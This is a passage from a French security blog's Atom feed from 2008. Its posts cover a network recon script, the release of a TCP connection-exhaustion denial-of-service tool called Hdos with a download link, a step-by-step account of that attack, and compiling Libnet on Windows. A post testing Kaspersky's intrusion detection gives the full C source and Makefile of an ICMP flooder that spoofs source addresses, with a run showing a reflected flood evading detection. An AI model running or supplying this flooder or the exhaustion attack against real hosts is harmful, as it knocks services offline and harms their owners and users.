/&gt;&lt;br /&gt;&lt;br /&gt;# So all that stuff started here?!&lt;br /&gt;if __name__ == '__main__':&lt;br /&gt;    NetReckon()&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;br /&gt;Voila, j'espère que le script plaira. C'est entre autre un exemple assez complet de l'utilisation du module cmd de python qui permet de réaliser facilement ce type de consoles avec historique des commandes, gestion de l'aide etc.&lt;br /&gt;&lt;/p&gt;&lt;p align="justify"&gt;C'est tellement marrant la recon! =D&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-6214037870905390705?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/6214037870905390705/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=6214037870905390705&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/6214037870905390705'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/6214037870905390705'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/11/network-recon.html' title='Network recon'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-624986412499793580</id><published>2008-11-07T10:10:00.005+01:00</published><updated>2008-11-07T10:44:28.638+01:00</updated><title type='text'>Hdos - TCP resource exhaustion attack tool -</title><content type='html'>&lt;p align="justify"&gt;Voilà, je me suis décidé, je publie donc une version "gentille" de hdos, la version Hth du Ndos de Fyodor.&lt;/p&gt;&lt;p align="justify"&gt;Juste pour ceux qui n'auraient pas suivi, Fyodor, le grand gourou du projet &lt;a href="http://nmap.org/"&gt;Nmap&lt;/a&gt;, a écris -mais jamais publié- un outil compagnon de nmap intitulé "Ndos". L'idée étant d'ouvrir des connections tcp sur un service sans passer par la pile Tcp/IP du kernel et donc de ne garder aucune trace des connections là où la cible va au contraire consommer beaucoup de ressources pour gérer ces connections.&lt;/p&gt;&lt;p align="justify"&gt;(Cf. article ci-dessous)&lt;/p&gt;&lt;p align="justify"&gt;Fyodor a simplement publié &lt;a href="http://insecure.org/stc/"&gt;l'écran d'aide&lt;/a&gt; de Ndos, dont je me suis plus qu'inspiré!&lt;/p&gt;&lt;p align="justify"&gt;L'outil &lt;a href="http://www.security-express.com/archives/win2ksecadvice/2000-q4/0105.html"&gt;Naphta&lt;/a&gt; implémente également cette attaque.&lt;/p&gt;&lt;p align="justify"&gt;Hdos utilise la librairie Pcap et la Libnet (version 1.1.2.1) et suit un modèle de réception/envoi asynchrone. Des paquets SYN sont envoyés à haute vitesse tant que rien n'est disponible en réception. L'utilisation d'un filtre BPF (via la libpcap) fait que si quelque chose est disponible, alors il s'agit d'une réponse SYN+ACK provenant de la cible. Lorsque l'on en reçoit, on répond des ACK, jusqu'à ce que la file d'attente de la réception soit épuisée à nouveau, auquel cas on reprend l'envoi de SYN.&lt;/p&gt;&lt;p align="justify"&gt;L'outil est donc relativement rapide et efficace. J'ai crashé (et bien comme il faut hein!!) mon eeepc en quelques centaines de connections sur le port 139.&lt;/p&gt;&lt;p align="justify"&gt;Hdos pourrait être bien plus dangereux si on lui ajoutait la possibilité d'envoyer le contenu d'un fichier texte dans les connections ouvertes, afin de stimuler les services attaqués. Cette option, tout comme le mode "poli", n'a pas été implémentée par manque de temps et d'intérêt, vu que mon objectif n'était pas de releaser un missile pour script kiddies mais d'observer ce type d'attaques. Si Fyodor l'a fait, c'est qu'il utilise l'outil pour des pentest professionels, ce n'est pas mon cas.&lt;/p&gt;&lt;p align="justify"&gt;Ceci dit, implémenter une telle option est tout à fait envisageable étant donné l'organisation du code (que j'ai essayé de commenter un peu).&lt;/p&gt;&lt;p align="justify"&gt;Hdos est sous licence BSD, ce qui permet en gros à chacun d'en faire ce qu'il veut, y compris de ne pas diffuser d'éventuelles modifications. Ceci dit je serais bien content de recevoir quelques patchs ou feedback!&lt;/p&gt;&lt;p align="justify"&gt;Un fichier README est associé au projet. Il rapelle notamment qu'il est nécessaire de configurer son firewall pour utiliser Hdos, afin de bloquer les paquets Tcp RST sortants (là encore, explications dans l'article ci-dessous).&lt;/p&gt;&lt;p align="justify"&gt;&lt;a href="http://www.developing.for.free.fr/projects/hdos_0.1.tar.gz"&gt;hdos_0.1.tar.gz&lt;/a&gt;&lt;/p&gt;&lt;p align="justify"&gt;MD5 (hdos_0.1.tar.gz) = c24829ca8684ca7ffb75d7dd1abcbf2f&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-624986412499793580?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/624986412499793580/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=624986412499793580&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/624986412499793580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/624986412499793580'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/11/ay.html' title='Hdos - TCP resource exhaustion attack tool -'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-8205825283069467088</id><published>2008-10-18T13:37:00.007+02:00</published><updated>2008-10-18T14:33:03.671+02:00</updated><title type='text'>Attaques sur le protocole TCP</title><content type='html'>&lt;div align="justify"&gt;Hello, je tente de poster au milieu de ce qui est pour moi une rentrée chargée...&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;Bien que ces dernières semaines, la mode soit au clickjacking, il un petit buzz s'est formé autour de l'annonce de vullnérabilités découvertes sur TCP.&lt;br /&gt;Et ouais, pendant que ces messieurs du web 12.0 se déchirent sur la dangerosité d'afficher un boutton "Valider" qui en fait ne valide pas (il faudrait tout de même n'avoir aucune dignité personelle pour s'abaisser à faire de telles choses! Nos criminels ont de l'honneur...), et bien d'autres continuent d'étudier les protocoles percés sur lesquels Internet évolue.&lt;br /&gt;&lt;br /&gt;Après DNS, c'est donc au tour de TCP d'y passer, selon les auteurs du puissant (mais moins cool que nmap hein!) scanner de port "unicorn scan", il est possible d'attaquer les implémentations actuelles de TCP, pour provoquer un déni de service. Sans dévoiler leur attaque, ils affirment que tous les services testés sont vulnérables, et qu'il n'existe aucun 'workaround" propre au problème. Chouette et rassurant non?&lt;br /&gt;&lt;br /&gt;&lt;a href="http://insecure.org/fyodor/"&gt;Fyodor&lt;/a&gt;, le grand gourou lumineux du monde des développeurs réseau (avec &lt;a href="http://fr.wikipedia.org/wiki/Alan_Cox"&gt;Alan Cox&lt;/a&gt; aussi...) a rapidement publié un &lt;a href="http://insecure.org/stf/tcp-dos-attack-explained.html"&gt;article sur insecure.org&lt;/a&gt;, dans lequel il ralaît (à raison) contre cette pratique de petite starlette d'annoncer au monde la découverte de vulnérabilité, tout en attendant des semaines pour la révéler. Encore, avec l'histoire de Kaminsky, cela pouvait avoir un sens, étant donné que les entreprises bossaient sur un patch, autant là on frôle le ridicule vu que ce n'est pas le cas!&lt;br /&gt;Par ailleurs Fyodor s'essaye à deviner l'attaque "secrète". Selon lui (confirmé par les auteurs), il s'agit d'une variante de l'attaque connue depuis 8 ans, qui consiste à ouvrir des tas de connections TCP via une raw socket, sans garder trace des connections ouvertes. Le serveur, lui, conserve tout cela en mémoire. Au bout d'un moment, on atteind des seuils en terme de fichiers ouverts, packets [ACK|FIN] envoyés et mémoire allouée et le déni de service se produit. Seule le reboot du serveur remet les choses en ordre. L'outil NAPHTA implémentait cette attaque (on était plutôt dans le proof of concept quand même...).&lt;br /&gt;&lt;br /&gt;Résumé de l'attaque :&lt;br /&gt;Avant tout, il faut configurer son firewall afin qu'il n'envoi pas de paquet [RST] à la réception de paquet [SYN|ACK].&lt;br /&gt;&lt;br /&gt;Le client forge un paquet TCP SYN et l'envoi en direction du service visé.&lt;br /&gt;&lt;br /&gt;(Seq = seq_client, Ack = 0)&lt;br /&gt;====[ SYN ]===&amp;gt;      &lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;Normalement le serveur renvoit un [SYN|ACK] avec un numéro de séquence que nous devons récupérer (IP spoofing à travailler sur un autre niveau qu'applicatif donc)&lt;br /&gt;&lt;br /&gt;(Seq = seq_serveur, Ack = seq_client + 1)&lt;br /&gt;&amp;lt;===[SYN|ACK]==== &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On capture ce paquet, et on en extrait le champ Seq afin de forger un paquet [ACK] afin de terminer l'ouverture de la connection.&lt;br /&gt;&lt;br /&gt;(Seq = seq_client + 1, Ack = seq_serveur + 1)&lt;br /&gt;====[ACK]===&amp;gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ensuite si l'on désire augmenter la puissance de l'attaque, on peut envoyer une requête sur un gros fichier ou autre, histoire d'obliger le système cible à copier des buffers dans le kernel, et à nous envoyer des données pour lesquelles bien évidemment nous n'accuserons jamais réception!&lt;br /&gt;Au bout d'une période d'inactivité, la cible va nous envoyer des [ACK|FIN] (souvent une petite dizaine).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fyodor dit avoir écrit un outil du style, nommé ndos, et dont il &lt;a href="http://insecure.org/stc/"&gt;fourni le help screen&lt;/a&gt;. Mais refuse de le releaser. Intrigué par cette attaque que je ne connaissais pas, je me suis donc attaqué à l'écriture de mon outil, reprenant les mêmes options. Je suis rapidement arrivé à un premier truc assez lent mais efficace. Inéluctablement, les cibles pliaient!!&lt;br /&gt;&lt;br /&gt;Tellement efficace que j'ai voulu écrire une seconde version, plus rapide (schéma envoi/réception asynchrone). Cette version est en cours de développement. Je la publierais peut être, auquel cas ce sera ici même.&lt;br /&gt;&lt;br /&gt;Ainsi, si &lt;a href="http://www.0x000000.com/"&gt;Ronald&lt;/a&gt; avait vu juste au sujet de l'&lt;a href="http://hatch-the-hitch.blogspot.com/2008/04/quelques-questions-ronald-van-den.html"&gt;accroissement des menaces par requêtes non-autorisées&lt;/a&gt;, j'ai l'impression que le retour aux fondamentaux n'avait été annoncé nul part. Erf, autre chose, on peut sniffer le web en forgeant des paquets BGP foireux, et créer des faux passeports électroniques en trois lignes de commande.&lt;br /&gt;Rien que ça?&lt;br /&gt;ouep!&lt;br /&gt;&lt;br /&gt;C'est beau le futur des fois...&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-8205825283069467088?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/8205825283069467088/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=8205825283069467088&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/8205825283069467088'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/8205825283069467088'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/10/attaques-sur-le-protocole-tcp.html' title='Attaques sur le protocole TCP'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-4870647027211882052</id><published>2008-08-23T00:33:00.007+02:00</published><updated>2008-08-24T11:48:52.877+02:00</updated><title type='text'>Compiler la Libnet sous Windows avec Visual C++ 2008</title><content type='html'>&lt;div style="text-align: justify;"&gt;Si la libnet est un outil fort sympathique, elle n'est plus vraiment entretenue par son développeur principal (unique?) Mike Schiffman. La dernière version (1.1.3) est donc fournie avec les fichiers de projet pour visual C++ 2005 et ça ne compile plus sous le dernier VC++ express! (Sous Gnu/Linux et FreeBSD ça marche sans soucis par contre!)&lt;br /&gt;&lt;br /&gt;Voici les changements à effectuer pour que la compilation puisse se faire sous Windows :&lt;br /&gt;&lt;br /&gt;&lt;div style="font-style: italic;"&gt;Testés sous Windows XPSP2, avec &lt;a href="http://www.microsoft.com/express/download"&gt;Visual C++ express 2008&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.winpcap.org/"&gt;Winpcap V4.0.2&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.packetfactory.net/projects/libnet/"&gt;Libnet V1.1.3&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;La libnet dépend de la libpcap (winpcap sous windows). Il vous faut donc installer cette &lt;a href="http://www.winpcap.org/install/default.htm"&gt;dernière&lt;/a&gt; ainsi que le &lt;a href="http://www.winpcap.org/devel.htm"&gt;winpcap developers pack&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Dans pcap-stdinc.h : commentez les lignes :&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#define snprintf _snprintf&lt;br /&gt;#define vsnprintf _vsnprintf&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Dans libnet.h ajoutez la ligne suivante :&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#define _CRT_SECURE_NO_WARNINGS&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Qui vous évitera des warnings à tout va du compilateur&lt;br /&gt;Vous pouvez ajouter également cette ligne dans le fichier libnet_link_win32.c&lt;br /&gt;&lt;br /&gt;Plus loin dans libnet.h ajoutez&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#define strdup _strdup&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;et enfin : dans libnet_resolv.c, à la ligne 128~129, remplacez :&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;snprintf(l-&gt;err_buf, LIBNET_ERRBUF_SIZE,&lt;br /&gt;  "%s(): %s\n", __func__, hstrerror(h_errno));&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;par&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;snprintf(l-&gt;err_buf, LIBNET_ERRBUF_SIZE,&lt;br /&gt;  "%s(): %s\n", __func__, "");&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;( Il existe sans doute mieux mais bon... )&lt;br /&gt;&lt;br /&gt;Voila, un petit F7 et c'est parti!! A la fin de la compilation, la DLL se trouve dans C:\winnt\system32.&lt;br /&gt;&lt;br /&gt;Si vous avez des remarques pour améliorer le truc, me dire que ça marche pas, ou qu'au contraire c'est super, n'hésitez pas!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-4870647027211882052?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/4870647027211882052/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=4870647027211882052&amp;isPopup=true' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/4870647027211882052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/4870647027211882052'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/08/compilation-de-la-libnet-sous-windows.html' title='Compiler la Libnet sous Windows avec Visual C++ 2008'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-2018187527978944113</id><published>2008-08-22T20:03:00.009+02:00</published><updated>2008-08-27T20:26:04.317+02:00</updated><title type='text'>Kaspersky 2008 : fun sur l'IDS et le firewall intégré</title><content type='html'>&lt;div style="text-align: justify;"&gt;Le framework Kaspersky internet security se compose en gros d'un scanner antivirus, d'un firewall, d'un IDS et de filtres divers (antispam, antiphishing, protection des zenfants etc...) je me suis amusé à observer le comportement des modules firewall et IDS (intrusion detection system)&lt;br /&gt;&lt;br /&gt;Détection des scans de ports et OS fingerprinting :&lt;br /&gt;&lt;br /&gt;Là dessus Kaspersky est assez fort en ce qu'il n'annonce et ne bloque que les scans qui ont une chance de fonctionner. Ainsi le Mainmon scan (-sM sur nmap) n'est pas annoncé et traité. Kaspersky se laisse abuser par des addresses IP spoofées, qu'il ajoute à la liste des hôtes bannis pendant une durée paramétrable (60mn par défaut). On ne peut pas lui reprocher ce comportement, se fier au cache ARP du système ne serait absolument pas fiable.&lt;br /&gt;Là ou ça coince déjà plus, c'est que les scans ne sont détectés que si leur activité dépasse un seuil (non paramétrable, lui). Ainsi, les scans effectués sur mon LAN, avec les options -T 0, 1 ou 2 passent sans soucis!&lt;br /&gt;Kaspersky ne semble pas se laisser influencer par les options TCP.&lt;br /&gt;&lt;br /&gt;Flood :&lt;br /&gt;&lt;br /&gt;Dans une période d'ennui de cet après-midi tout pourri (météorologiquement du moins) j'ai écrit un petit flooder icmp. Utilisant la libnet, il se révèle reltivement efficace ( envoi de plus de 160 000 icmp echo requests par seconde ), mais surtout, permet à l'utilisateur de spécifier les adresses IP source et destination.&lt;br /&gt;&lt;br /&gt;Son utilisation pour effectuer un icmp flood `normal` contre la machine faisant tourner Kaspersky IS 2008, avec une adresse IP source quelconque et l'IP de la cible en destination, déclenche une alerte de Kaspersky. Le flood est détecté et bloqué.&lt;br /&gt;Le comportement est donc bon (bien que si l'on coupe le firewall, on se rend compte que les activités réseau et cpu de la  cible ne sont pas vraiment affectées)&lt;br /&gt;Par contre, si en adresse source je met celle de la cible, et en adresse de destination celle d'une machine quelconque de mon LAN :&lt;br /&gt;de la manière suivante, où 192.168.1.10 est la machine visée, et 192.168.1.14 une machine quelconque (répondant aux  pings...)&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;root@inaree:~/# ./icmpF -s 192.168.1.10 -d 192.168.1.14&lt;br /&gt;Src (192.168.1.10) --&gt; Dst (192.168.1.14)&lt;br /&gt;Session ended :&lt;br /&gt;1582924 packets sent&lt;br /&gt;44321872 bytes sent&lt;br /&gt;0 errors&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Alors Kaspersky ne détecte rien, malgré la reception de milliers de ICMP ECHO REPLIES, qui modifient les charges réseau et CPU de façon similaire à un flood direct, avec firewall désactivé!!!&lt;br /&gt;En effet, le flood de requêtes ICMP echo (des "pings" quoi!) se fait contre une autre machine du réseau, mais ayant spoofé l'adresse IP de la machine cible, l'identifiant   comme émettrice des requêtes, les réponses lui sont renvoyées. Si l'intermédiaire est assez costaud niveau charge réseau (on peut utiliser le routeur par exemple, à nos risques et périls!), le flux de l'attaque conserve son ampleur.&lt;br /&gt;J'ai pu noter également une rapidité nettement supérieure lorsque j'utilisais une carte sans fil pour mener l'attaque, la machine intermédiaire était mon routeur, qui redirigait les réponses au gros traffic reçu en WIFI vers la carte ethernet de ma machine cible.&lt;br /&gt;&lt;br /&gt;Voila, je mettrais à jour le post si je trouve d'autre comportements bizares! En attendant voici le code du flooder, juste pour constater l'eficacité de la libnet!&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;&lt;br /&gt;/*&lt;br /&gt;* file icmpF.c&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;signal.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;libnet.h&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;* Functions prototypes&lt;br /&gt;*/&lt;br /&gt;void onExit( int signo );&lt;br /&gt;int getAddresses( int argc, char **argv, struct in_addr * srcAddr, struct in_addr * dstAddr );&lt;br /&gt;int startFlood( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr );&lt;br /&gt;void craftPacket( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr );&lt;br /&gt;/* ---------- -- ----------- */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;unsigned char Loop = 1;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main( int argc, char ** argv )&lt;br /&gt;{&lt;br /&gt; int exitValue;      /* Return value */&lt;br /&gt; libnet_t * handle;  /* Libnet handle */&lt;br /&gt; char errbuf[LIBNET_ERRBUF_SIZE];   /* Libnet error buffer */&lt;br /&gt; struct in_addr srcAddr, dstAddr;  /* Source and destination IPv4 addresses */&lt;br /&gt;&lt;br /&gt; srcAddr.s_addr = 0;&lt;br /&gt; dstAddr.s_addr = 0;&lt;br /&gt;&lt;br /&gt; if ( getAddresses( argc, argv, &amp;amp;srcAddr, &amp;amp;dstAddr ) )&lt;br /&gt; {&lt;br /&gt;     fprintf( stderr, "%s -s [ Source address ] -d [ Destination address ]\n", argv[0] );&lt;br /&gt;     exitValue = EXIT_FAILURE;&lt;br /&gt; }&lt;br /&gt; else&lt;br /&gt; {&lt;br /&gt;     /* SIGINT (ctrl+c is used to break sending loop */&lt;br /&gt;     signal( SIGINT, onExit );&lt;br /&gt;     /* -- Starting libnet session -- */&lt;br /&gt;     if ( ( handle = libnet_init( LIBNET_RAW4, NULL, errbuf ) ) == NULL )&lt;br /&gt;     {&lt;br /&gt;         fprintf( stderr, "%s\n", errbuf );&lt;br /&gt;         exitValue = EXIT_FAILURE;&lt;br /&gt;     }&lt;br /&gt;     else&lt;br /&gt;     {&lt;br /&gt;         /* prandn generator is seeded here, then we can get pseudo random integers using our libnet handle */&lt;br /&gt;         libnet_seed_prand( handle );&lt;br /&gt;         startFlood( handle, srcAddr, dstAddr );&lt;br /&gt;         libnet_destroy( handle );&lt;br /&gt;         exitValue = EXIT_SUCCESS;&lt;br /&gt;     }&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; exit( exitValue );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void onExit( int signo )&lt;br /&gt;{&lt;br /&gt; Loop = 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int getAddresses( int argc, char **argv, struct in_addr * srcAddr, struct in_addr * dstAddr )&lt;br /&gt;{&lt;br /&gt; if ( argc != 5 )&lt;br /&gt; {&lt;br /&gt;     return 1;&lt;br /&gt; }&lt;br /&gt; else&lt;br /&gt; {&lt;br /&gt;     unsigned char flags = 0;&lt;br /&gt;     unsigned int i;&lt;br /&gt;&lt;br /&gt;     for ( i = 0 ; i &amp;lt; argc ; i++ )&lt;br /&gt;     {&lt;br /&gt;         if ( !strcmp( argv[i], "-d" ) &amp;amp;&amp;amp; ( argv[i+1] != NULL ) )&lt;br /&gt;         {&lt;br /&gt;              dstAddr-&amp;gt;s_addr = inet_addr( argv[i+1] );&lt;br /&gt;              flags |= 1;&lt;br /&gt;         }&lt;br /&gt;         else if ( !strcmp( argv[i], "-s" ) &amp;amp;&amp;amp; ( argv[i+1] != NULL ) )&lt;br /&gt;         {&lt;br /&gt;              srcAddr-&amp;gt;s_addr = inet_addr( argv[i+1] );&lt;br /&gt;              flags |= 2;&lt;br /&gt;         }&lt;br /&gt;         else&lt;br /&gt;         {&lt;br /&gt;             /* nothing to do */&lt;br /&gt;         }&lt;br /&gt;     }&lt;br /&gt;&lt;br /&gt;     if ( ! ( flags &amp;amp; 1 ) ) /* No destination address specified */&lt;br /&gt;         return 2;&lt;br /&gt;     if ( ! ( flags &amp;amp; 2 ) ) /* No source address specified */&lt;br /&gt;         return 3;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; fprintf( stderr, "Src (%s) --&amp;gt; ", inet_ntoa( *srcAddr ) );&lt;br /&gt; fprintf( stderr, "Dst (%s)\n",    inet_ntoa( *dstAddr ) );&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int startFlood( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr )&lt;br /&gt;{&lt;br /&gt; struct libnet_stats sessionStats;&lt;br /&gt; craftPacket( handle, srcAddr, dstAddr );&lt;br /&gt;&lt;br /&gt; while ( Loop )&lt;br /&gt; {&lt;br /&gt;     libnet_write( handle );&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; libnet_stats( handle, &amp;amp;sessionStats );&lt;br /&gt; fprintf( stdout, "Session ended :\n");&lt;br /&gt; fprintf( stdout, "\t%lu packets sent\n", ( unsigned long )sessionStats.packets_sent );&lt;br /&gt; fprintf( stdout, "\t%lu bytes sent\n",   ( unsigned long )sessionStats.bytes_written );&lt;br /&gt; fprintf( stdout, "\t%lu errors\n",       ( unsigned long )sessionStats.packet_errors );&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void craftPacket( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr )&lt;br /&gt;{&lt;br /&gt; unsigned long probeIcmpId = libnet_get_prand( LIBNET_PRu16 ); /* transaction ID */&lt;br /&gt; &lt;br /&gt; libnet_build_icmpv4_echo(&lt;br /&gt;             ICMP_ECHO,    /* ICMP type */&lt;br /&gt;          0,            /* ICMP code */&lt;br /&gt;             0,            /* checksum */&lt;br /&gt;             probeIcmpId,  /* transaction ID */&lt;br /&gt;             0,            /* Sequence number */&lt;br /&gt;             NULL,         /* Payload buffer */&lt;br /&gt;             0,            /* Payload size */&lt;br /&gt;          handle,       /* libnet handler */&lt;br /&gt;             0             /* create new header */&lt;br /&gt;             );&lt;br /&gt;&lt;br /&gt; libnet_build_ipv4(&lt;br /&gt;             LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H,   /* Total IP packet length */&lt;br /&gt;             IPTOS_LOWDELAY,                         /* Type of service */&lt;br /&gt;             libnet_get_prand( LIBNET_PRu16 ),       /* IP ID */&lt;br /&gt;             0,                                      /* fragmentation */&lt;br /&gt;             64,                                     /* Time to Live */&lt;br /&gt;             IPPROTO_ICMP,                           /* IP protocol */&lt;br /&gt;             0,                                      /* IP checksum */&lt;br /&gt;             srcAddr.s_addr,                         /* local IP address */&lt;br /&gt;             dstAddr.s_addr,                         /* target IP address */&lt;br /&gt;             NULL,                                   /* IP payload */&lt;br /&gt;             0,                                      /* IP payload size */&lt;br /&gt;             handle,                                 /* libnet session */&lt;br /&gt;             0                                       /* modify existant header */&lt;br /&gt;             );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;et le Makefile :&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;#&lt;br /&gt;# icmpf makefile&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;CC=gcc&lt;br /&gt;ECHO=echo&lt;br /&gt;&lt;br /&gt;CFLAGS=`libnet-config --cflags --defines` -O0 -g -Wall -pedantic&lt;br /&gt;LDFLAGS=`libnet-config --libs`&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EXEC=icmpF&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.SILENT:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;all: $(EXEC)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$(EXEC): icmpF.c&lt;br /&gt;    $(ECHO) "    [CC] $@"&lt;br /&gt;    $(CC) $(CFLAGS) $&amp;lt; -o $(EXEC) $(LDFLAGS)&lt;br /&gt;&lt;br /&gt;clean:&lt;br /&gt;    $(ECHO) "    [Cleaning sources]"&lt;br /&gt;    rm -f $(EXEC) *.o \#* *~&lt;br /&gt;&lt;br /&gt;distclean: clean&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-2018187527978944113?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/2018187527978944113/comments/default' title='Publier les commentaires'/><link rel='replies' 